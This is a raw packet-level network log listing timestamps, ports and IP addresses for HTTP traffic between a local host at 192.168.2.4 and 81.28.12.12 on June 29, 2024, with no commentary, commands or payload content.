Jun 29, 2024 08:05:00.230508089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.230552912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.230556965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.230557919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.230576038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.230619907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.232297897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.232314110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.232328892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.232356071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.232388020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.233910084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.233922958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.233946085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.233968019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.234008074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.234054089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.235594034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.235646009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.235661030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.235661030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.235686064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.235730886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.237377882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.237394094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.237407923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.237442970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.237472057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.239125013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.239150047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.239170074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.239177942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.239212036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.239212036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.240719080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.240735054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.240747929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.240782022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.240812063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.242419958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.242439985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.242454052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.242484093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.242516041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.244111061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.244175911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.244190931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.244220972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.244272947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.245709896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.245737076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.245750904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.245769024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.245799065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.245799065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.247427940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.247453928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.247467995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.247504950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.247554064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.249193907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.249244928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.249248981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.249264956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.249295950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.249295950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.249331951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.249331951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.250873089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.250919104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.250933886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.250956059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.250956059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.250992060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.252604961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.252629995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.252684116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.510416031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.510493994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.510500908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.510509014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.510544062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.510575056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.511053085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.511106968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.511115074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.511121988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.511152029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.511199951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.512936115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.512960911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.512975931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.512994051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.513022900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.513391018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.514555931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.514605999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.514615059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.514621019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.514652967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.514683008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.516083002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.516160011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.516204119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.516218901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.516233921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.516252995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.516283989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.516283989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.517904043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.517919064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.517934084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.517962933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.517993927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.519598961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.519623041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.519646883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.519655943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.519706011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.519706011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.521337986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.521364927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.521380901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.521405935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.521405935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.521439075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.523493052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.523519993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.523533106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.523551941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.523583889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.523583889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.524717093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.524743080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.524756908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.524777889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.524811029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.524811029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.526468039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.526483059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.526496887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.526552916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.526552916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.528057098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.528083086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.528098106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.528120041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.528147936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.529722929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.529737949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.529752016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.529783964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.529830933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.531501055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.531516075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.531529903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.531560898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.531589985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.533108950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.533171892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.533211946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.533262968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.533265114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.533277988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.533310890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.533339977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.534856081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.534918070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.534940004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.534954071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.534984112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.535017967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.536525965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.536560059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.536573887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.536588907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.536622047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.536623001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.538285017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.538297892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.538332939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.538352966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.538355112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.538402081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.538485050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.538532019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.540044069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.540112019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.540127039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.540142059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.540174961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.540205002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.542097092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.542109966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.542166948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.542192936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.542222023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.542244911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.542273045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.543416023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.543441057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.543461084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.543495893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.543526888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.545105934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.545120955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.545136929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.545176983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.545212030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.546817064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.546833038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.546869040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.546900034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.805373907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.805397034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.805413008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.805452108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.805510998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.806051970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.806080103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.806099892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.806108952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.806142092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.806142092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.807907104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.807933092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.807948112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.807965994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.807998896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.807998896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.809474945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.809499979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.809514046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.809535027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.809566975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.809566975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.811217070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.811229944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.811247110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.811269999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.811299086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.811299086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.811310053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.811357021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.812894106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.812918901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.812963009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.812983990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.812988997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.813003063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.813035965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.813070059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.814578056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.814603090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.814625025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.814636946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.814683914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.814683914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.816390991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.816406965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.816421986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.816442966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.816477060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.817962885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.817987919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.818002939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.818015099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.818043947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.818063974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.819725037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.819740057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.819777966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.819783926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.819802046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.819829941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.821341038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.821367025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.821392059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.821414948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.821433067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.821445942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.821472883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.821502924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.823020935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.823075056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.823137045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.823152065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.823168039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.823199034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.823199034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.823231936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.824814081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.824830055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.824850082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.824873924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.824911118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.824911118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.826536894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.826595068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.826606035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.826620102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.826657057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.826687098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.828128099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.828181028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.828195095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.828208923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.828242064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.828272104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.829931021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.829946995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.829962015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.830003977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.830003977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.831574917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.831589937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.831604958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.831634045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.831665993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.833182096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.833235979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.833317041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.833329916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.833343983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.833375931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.833410978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.834917068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.834929943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.834969044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.834995031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:00.835010052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.835022926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:00.835072041 CEST	49731	80	192.168.2.4	81.28.12.12
